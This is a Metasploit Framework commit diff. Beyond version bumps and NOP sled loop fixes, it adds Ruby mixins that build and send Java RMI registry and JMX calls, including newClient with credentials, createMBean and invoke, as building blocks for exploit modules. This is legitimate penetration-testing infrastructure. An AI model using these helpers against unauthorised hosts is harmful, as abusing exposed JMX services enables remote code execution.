Updating master to metasploit/master

bug/bundler_fix
bigendian smalls 2015-10-26 09:24:24 -05:00
commit d53be873dc
123 changed files with 4051 additions and 2268 deletions

View File

@ -1 +1 @@
2.1.6
2.1.7

View File

@ -25,7 +25,7 @@ script:
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '2.1.6'
- '2.1.7'
notifications:
irc: "irc.freenode.org#msfnotify"

10
COPYING
View File

@ -5,15 +5,15 @@ Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Rapid7, Inc. nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED

View File

@ -25,7 +25,7 @@ PATH
activerecord (>= 4.0.9, < 4.1.0)
metasploit-credential (= 1.0.1)
metasploit-framework (= 4.11.4)
metasploit_data_models (= 1.2.7)
metasploit_data_models (= 1.2.9)
pg (>= 0.11)
metasploit-framework-pcap (4.11.4)
metasploit-framework (= 4.11.4)
@ -126,7 +126,7 @@ GEM
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.15)
metasploit_data_models (1.2.7)
metasploit_data_models (1.2.9)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
arel-helpers

View File

@ -18,12 +18,12 @@ module Metasploit
hash = '-' + version_info['build_framework_rev']
else
# determine if git is installed
void = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null'
git_installed = system("git --version >>#{void} 2>&1")
null = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null'
git_installed = system("git --version > #{null} 2>&1")
# get the hash of the HEAD commit
if git_installed && File.exist?(File.join(root, '.git'))
hash = '-' + `git rev-parse HEAD`[0, 8]
hash = '-' + `git rev-parse --short HEAD`
end
end
hash.strip

View File

@ -638,13 +638,10 @@ class ReadableText
# @param col [Integer] the column wrap width.
# @return [String] the formatted list of running jobs.
def self.dump_jobs(framework, verbose = false, indent = DefaultIndent, col = DefaultColumnWrap)
columns = [ 'Id', 'Name' ]
columns = [ 'Id', 'Name', "Payload", "LPORT" ]
if (verbose)
columns << "Payload"
columns << "LPORT"
columns << "URIPATH"
columns << "Start Time"
columns += [ "URIPATH", "Start Time" ]
end
tbl = Rex::Ui::Text::Table.new(
@ -653,16 +650,19 @@ class ReadableText
'Columns' => columns
)
# jobs are stored as a hash with the keys being a numeric job_id.
framework.jobs.keys.sort{|a,b| a.to_i <=> b.to_i }.each { |k|
# Job context is stored as an Array with the 0th element being
# the running module. If that module is an exploit, ctx will also
# contain its payload.
ctx = framework.jobs[k].ctx
row = [ k, framework.jobs[k].name ]
row << (ctx[1].nil? ? (ctx[0].datastore['PAYLOAD'] || "") : ctx[1].refname)
row << (ctx[0].datastore['LPORT'] || "")
if (verbose)
ctx = framework.jobs[k].ctx
uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource)
uripath = ctx[0].datastore['URIPATH'] if uripath.nil?
row << (ctx[1].nil? ? (ctx[0].datastore['PAYLOAD'] || "") : ctx[1].refname)
row << (ctx[0].datastore['LPORT'] || "")
row << (uripath || "")
row << (framework.jobs[k].start_time || "")
end

View File

@ -72,13 +72,6 @@ require 'msf/http/wordpress'
require 'msf/http/typo3'
require 'msf/http/jboss'
# Kerberos Support
require 'msf/kerberos/client'
# Java RMI Support
require 'msf/java/rmi/util'
require 'msf/java/rmi/client'
# Drivers
require 'msf/core/exploit_driver'

View File

@ -342,14 +342,18 @@ class EncodedPayload
self.nop_sled = nop.generate_sled(self.nop_sled_size,
'BadChars' => reqs['BadChars'],
'SaveRegisters' => save_regs)
if nop_sled && nop_sled.length == nop_sled_size
break
else
dlog("#{pinst.refname}: Nop generator #{nop.refname} failed to generate sled for payload", 'core', LEV_1)
end
rescue
dlog("#{pinst.refname}: Nop generator #{nop.refname} failed to generate sled for payload: #{$!}",
'core', LEV_1)
self.nop = nil
end
break
}
if (self.nop_sled == nil)

View File

@ -1034,12 +1034,16 @@ class Exploit < Msf::Module
nop_sled = nop.generate_sled(count,
'BadChars' => payload_badchars || '',
'SaveRegisters' => save_regs)
if nop_sled && nop_sled.length == count
break
else
wlog("#{self.refname}: Nop generator #{nop.refname} failed to generate sled for exploit", 'core', LEV_0)
end
rescue
wlog("#{self.refname}: Nop generator #{nop.refname} failed to generate sled for exploit: #{$!}",
'core', LEV_0)
end
break
}
nop_sled

View File

@ -14,6 +14,8 @@
###
require 'msf/core'
require 'msf/core/exploit/java/rmi/util'
require 'msf/core/exploit/java/rmi/client'
module Msf
module Exploit::Java

View File

@ -0,0 +1,101 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
module Msf
class Exploit
class Remote
module Java
module Rmi
module Builder
# Builds a RMI header stream
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :signature
# @option opts [Fixnum] :version
# @option opts [Fixnum] :protocol
# @return [Rex::Proto::Rmi::Model::OutputHeader]
def build_header(opts = {})
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
version = opts[:version] || 2
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
header = Rex::Proto::Rmi::Model::OutputHeader.new(
signature: signature,
version: version,
protocol: protocol)
header
end
# Builds a RMI call stream
#
# @param opts [Hash{Symbol => <Fixnum, Array>}]
# @option opts [Fixnum] :message_id
# @option opts [Fixnum] :object_number Random to identify the object.
# @option opts [Fixnum] :uid_number Identifies the VM where the object was generated.
# @option opts [Fixnum] :uid_time Time where the object was generated.
# @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM
# at the same time.
# @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2
# it is -1.
# @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash
# representing the method to call.
# @option opts [Array] :arguments
# @return [Rex::Proto::Rmi::Model::Call]
def build_call(opts = {})
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
operation = opts[:operation] || -1
hash = opts[:hash] || 0
arguments = opts[:arguments] || []
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new(
number: uid_number,
time: uid_time,
count: uid_count
)
call_data = Rex::Proto::Rmi::Model::CallData.new(
object_number: object_number,
uid: uid,
operation: operation,
hash: hash,
arguments: arguments
)
call = Rex::Proto::Rmi::Model::Call.new(
message_id: message_id,
call_data: call_data
)
call
end
# Builds a RMI dgc ack stream
#
# @param opts [Hash{Symbol => <Fixnum, String>}]
# @option opts [Fixnum] :stream_id
# @option opts [String] :unique_identifier
# @return [Rex::Proto::Rmi::Model::DgcAck]
def build_dgc_ack(opts = {})
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
stream_id: stream_id,
unique_identifier: unique_identifier
)
dgc_ack
end
end
end
end
end
end
end

View File

@ -0,0 +1,168 @@
# -*- coding: binary -*-
require 'rex/proto/rmi'
require 'rex/java/serialization'
require 'stringio'
require 'msf/core/exploit/java/rmi/util'
require 'msf/core/exploit/java/rmi/builder'
require 'msf/core/exploit/java/rmi/client/registry'
require 'msf/core/exploit/java/rmi/client/jmx'
module Msf
class Exploit
class Remote
module Java
module Rmi
module Client
include Msf::Exploit::Remote::Java::Rmi::Util
include Msf::Exploit::Remote::Java::Rmi::Builder
include Msf::Exploit::Remote::Java::Rmi::Client::Registry
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super
register_advanced_options(
[
OptInt.new('RmiReadLoopTimeout', [ true, 'Maximum number of seconds to wait for data between read iterations', 1])
], Msf::Exploit::Remote::Java::Rmi::Client
)
end
# Returns the timeout to wait for data between read iterations
#
# @return [Fixnum]
def read_loop_timeout
datastore['RmiReadLoopTimeout'] || 1
end
# Returns the target host
#
# @return [String]
def rhost
datastore['RHOST']
end
# Returns the target port
#
# @return [Fixnum]
def rport
datastore['RPORT']
end
# Returns the RMI server peer
#
# @return [String]
def peer
"#{rhost}:#{rport}"
end
# Sends a RMI header stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_header
def send_header(opts = {})
nsock = opts[:sock] || sock
stream = build_header(opts)
nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00")
end
# Sends a RMI CALL stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @option opts [Rex::Proto::Rmi::Model::Call] :call
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_call
def send_call(opts = {})
nsock = opts[:sock] || sock
call = opts[:call] || build_call(opts)
nsock.put(call.encode)
end
# Sends a RMI DGCACK stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_dgc_ack
def send_dgc_ack(opts = {})
nsock = opts[:sock] || sock
stream = build_dgc_ack(opts)
nsock.put(stream.encode)
end
# Reads the Protocol Ack
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Rex::Proto::Rmi::Model::ProtocolAck] if success
# @return [NilClass] otherwise
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
def recv_protocol_ack(opts = {})
nsock = opts[:sock] || sock
data = safe_get_once(nsock)
begin
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
rescue Rex::Proto::Rmi::DecodeError
return nil
end
ack
end
# Reads a ReturnData message and returns the java serialized stream
# with the return data value.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Rex::Proto::Rmi::Model::ReturnValue] if success
# @return [NilClass] otherwise
# @see Rex::Proto::Rmi::Model::ReturnData.decode
def recv_return(opts = {})
nsock = opts[:sock] || sock
data = safe_get_once(nsock)
begin
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
rescue Rex::Proto::Rmi::DecodeError
return nil
end
return_data.return_value
end
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
#
# @param nsock [Rex::Socket::Tcp]
# @return [String]
def safe_get_once(nsock = sock, loop_timeout = read_loop_timeout)
data = ''
begin
res = nsock.get_once
rescue ::EOFError
res = nil
end
while res && nsock.has_read_data?(loop_timeout)
data << res
begin
res = nsock.get_once
rescue ::EOFError
res = nil
end
end
data << res if res
data
end
end
end
end
end
end
end

View File

@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'msf/core/exploit/java/rmi/client/jmx/server'
require 'msf/core/exploit/java/rmi/client/jmx/connection'
module Msf
class Exploit
class Remote
module Java
module Rmi
module Client
module Jmx
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection
OBJECT_NAME_UID = 1081892073854801359
BYTE_ARRAY_UID = -5984413125824719648
MARSHALLED_OBJECT_UID = 8988374069173025854
STRING_ARRAY_UID = -5921575005990323385
OBJECT_ARRAY_UID = -8012369246846506644
end
end
end
end
end
end
end

View File

@ -0,0 +1,128 @@
# -*- coding: binary -*-
require 'msf/core/exploit/java/rmi/client/jmx/connection/builder'
module Msf
class Exploit
class Remote
module Java
module Rmi
module Client
module Jmx
# This mixin provides methods to simulate calls to the Java
# javax/management/remote/rmi/RMIConnectionImpl_Stub
# interface
module Connection
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection::Builder
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
# method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [TrueClass, NilClass] true if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance
def send_jmx_get_object_instance(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_get_object_instance(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
unless return_value.get_class_name == 'javax.management.ObjectInstance'
return nil
end
true
end
# Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
# method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [TrueClass, NilClass] true if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean
def send_jmx_create_mbean(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_create_mbean(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
unless return_value.get_class_name == 'javax.management.ObjectInstance'
return nil
end
true
end
# Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
# method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [TrueClass, NilClass] true if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_invoke
def send_jmx_invoke(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_invoke(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
unless return_value.get_class_name == 'java.util.HashSet'
return nil
end
true
end
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,238 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module Java
module Rmi
module Client
module Jmx
module Connection
module Builder
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
# used to retrieve an MBean instance
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
def build_jmx_get_object_instance(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
name = opts[:name] || ''
arguments = build_jmx_get_object_instance_args(name)
method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: -1,
hash: method_hash,
arguments: arguments
)
call
end
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
#
# @param name [String] the MBean name
# @return [Array]
def build_jmx_get_object_instance_args(name = '')
builder = Rex::Java::Serialization::Builder.new
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
flags: 3
)
arguments = [
new_object,
Rex::Java::Serialization::Model::Utf.new(nil, name),
Rex::Java::Serialization::Model::EndBlockData.new,
Rex::Java::Serialization::Model::NullReference.new
]
arguments
end
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
# used to retrieve an MBean instance
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
def build_jmx_create_mbean(opts = {})
name = opts[:name] || ''
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
arguments = build_jmx_create_mbean_args(name)
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: -1,
hash: method_hash,
arguments: arguments
)
call
end
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
#
# @param name [Hash] the MBean name
# @return [Array]
def build_jmx_create_mbean_args(name = '')
arguments = [
Rex::Java::Serialization::Model::Utf.new(nil, name),
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::NullReference.new
]
arguments
end
end
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
# used to invoke an MBean method
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
# @see #build_jmx_invoke_args
def build_jmx_invoke(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;')
arguments = build_jmx_invoke_args(opts)
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: -1,
hash: method_hash,
arguments: arguments
)
call
end
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
#
# @param opts [Hash]
# @option opts [String] :object the MBean name
# @option opts [String] :method the method name
# @option opts [Hash] :args the method arguments
# @return [Array]
def build_jmx_invoke_args(opts = {})
object_name = opts[:object] || ''
method_name = opts[:method] || ''
args = opts[:args] || {}
builder = Rex::Java::Serialization::Builder.new
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
flags: 3
)
data_binary = builder.new_array(
name: '[B',
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID
values_type: 'byte',
values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*')
)
marshall_object = builder.new_object(
name: 'java.rmi.MarshalledObject',
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID
fields: [
['int', 'hash'],
['array', 'locBytes', '[B'],
['array', 'objBytes', '[B']
],
data: [
["int", 1919492550],
Rex::Java::Serialization::Model::NullReference.new,
data_binary
]
)
new_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
values_type: 'java.lang.String;',
values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
)
arguments = [
new_object,
Rex::Java::Serialization::Model::Utf.new(nil, object_name),
Rex::Java::Serialization::Model::EndBlockData.new,
Rex::Java::Serialization::Model::Utf.new(nil, method_name),
marshall_object,
new_array,
Rex::Java::Serialization::Model::NullReference.new
]
arguments
end
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
# simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
# method.
#
# @param args [Hash] the arguments of the method to invoke
# @return [Rex::Java::Serialization::Model::Stream]
def build_invoke_arguments_obj_bytes(args = {})
builder = Rex::Java::Serialization::Builder.new
new_array = builder.new_array(
name: '[Ljava.lang.Object;',
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
values_type: 'java.lang.Object;',
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << new_array
stream
end
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,63 @@
# -*- coding: binary -*-
require 'msf/core/exploit/java/rmi/client/jmx/server/builder'
require 'msf/core/exploit/java/rmi/client/jmx/server/parser'
module Msf
class Exploit
class Remote
module Java
module Rmi
module Client
module Jmx
module Server
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Builder
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Parser
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
# to the Java javax/management/remote/rmi/RMIServer_Stub#newClient()
# method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Hash, NilClass] The connection information if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_new_client
def send_new_client(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_new_client(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
remote_object = return_value.get_class_name
unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
return nil
end
reference = parse_jmx_new_client_endpoint(return_value)
reference
end
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,77 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module Java
module Rmi
module Client
module Jmx
module Server
module Builder
# Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient()
# used to enumerate the names bound in a registry
#
# @param opts [Hash]
# @option opts [String] :username the JMX role to establish the connection if needed
# @option opts [String] :password the JMX password to establish the connection if needed
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
def build_jmx_new_client(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
username = opts[:username]
password = opts[:password] || ''
if username
arguments = build_jmx_new_client_args(username, password)
else
arguments = [Rex::Java::Serialization::Model::NullReference.new]
end
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: -1,
hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient
arguments: arguments
)
call
end
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
# to make an javax/management/remote/rmi/RMIServer_Stub#newClient call
#
# @param username [String] The username (role) to authenticate with
# @param password [String] The password to authenticate with
# @return [Array<Rex::Java::Serialization::Model::NewArray>]
def build_jmx_new_client_args(username = '', password = '')
builder = Rex::Java::Serialization::Builder.new
auth_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
values_type: 'java.lang.String;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, username),
Rex::Java::Serialization::Model::Utf.new(nil, password)
]
)
[auth_array]
end
end
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,40 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module Java
module Rmi
module Client
module Jmx
module Server
module Parser
# Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value
# to find out the remote reference information.
#
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
def parse_jmx_new_client_endpoint(return_value)
values_size = return_value.value.length
end_point_block_data = return_value.value[values_size - 2]
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
return nil
end
return_io = StringIO.new(end_point_block_data.contents, 'rb')
reference = extract_reference(return_io)
reference
end
end
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,135 @@
# -*- coding: binary -*-
require 'msf/core/exploit/java/rmi/client/registry/builder'
require 'msf/core/exploit/java/rmi/client/registry/parser'
module Msf
class Exploit
class Remote
module Java
module Rmi
module Client
# This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub
# interface
module Registry
include Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder
include Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser
# Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java
# java/rmi/registry/RegistryImpl_Stub#lookup() method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Hash, NilClass] The remote reference information if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_registry_lookup
def send_registry_lookup(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_registry_lookup(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
remote_object = return_value.get_class_name
if remote_object.nil?
return nil
end
remote_location = parse_registry_lookup_endpoint(return_value)
if remote_location.nil?
return nil
end
remote_location.merge(object: remote_object)
end
# Sends a Registry list call to the RMI endpoint. Simulates a call to the Java
# java/rmi/registry/RegistryImpl_Stub#list() method
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Array, NilClass] The set of names if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_registry_list
def send_registry_list(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_registry_list(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
names = parse_registry_list(return_value)
names
end
# Calculates the hash to make RMI calls for the
# java/rmi/registry/RegistryImpl_Stub interface
#
# @return [Fixnum] The interface's hash
def registry_interface_hash
hash = calculate_interface_hash(
[
{
name: 'bind',
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException']
},
{
name: 'list',
descriptor: '()[Ljava/lang/String;',
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
},
{
name: 'lookup',
descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;',
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
},
{
name: 'rebind',
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
},
{
name: 'unbind',
descriptor: '(Ljava/lang/String;)V',
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
}
]
)
hash
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,70 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module Java
module Rmi
module Client
module Registry
module Builder
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to
# retrieve the remote reference bound to a name.
#
# @param opts [Hash]
# @option opts [String] :name the name to lookup
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
def build_registry_lookup(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
name = opts[:name] || ''
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: 2, # java.rmi.Remote lookup(java.lang.String)
hash: registry_interface_hash,
arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)]
)
call
end
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to
# enumerate the names bound in a registry
#
# @param opts [Hash]
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
def build_registry_list(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: 1, # java.lang.String list()[]
hash: registry_interface_hash,
arguments: []
)
call
end
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,53 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module Java
module Rmi
module Client
module Registry
module Parser
# Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out
# the remote reference information.
#
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
def parse_registry_lookup_endpoint(return_value)
values_size = return_value.value.length
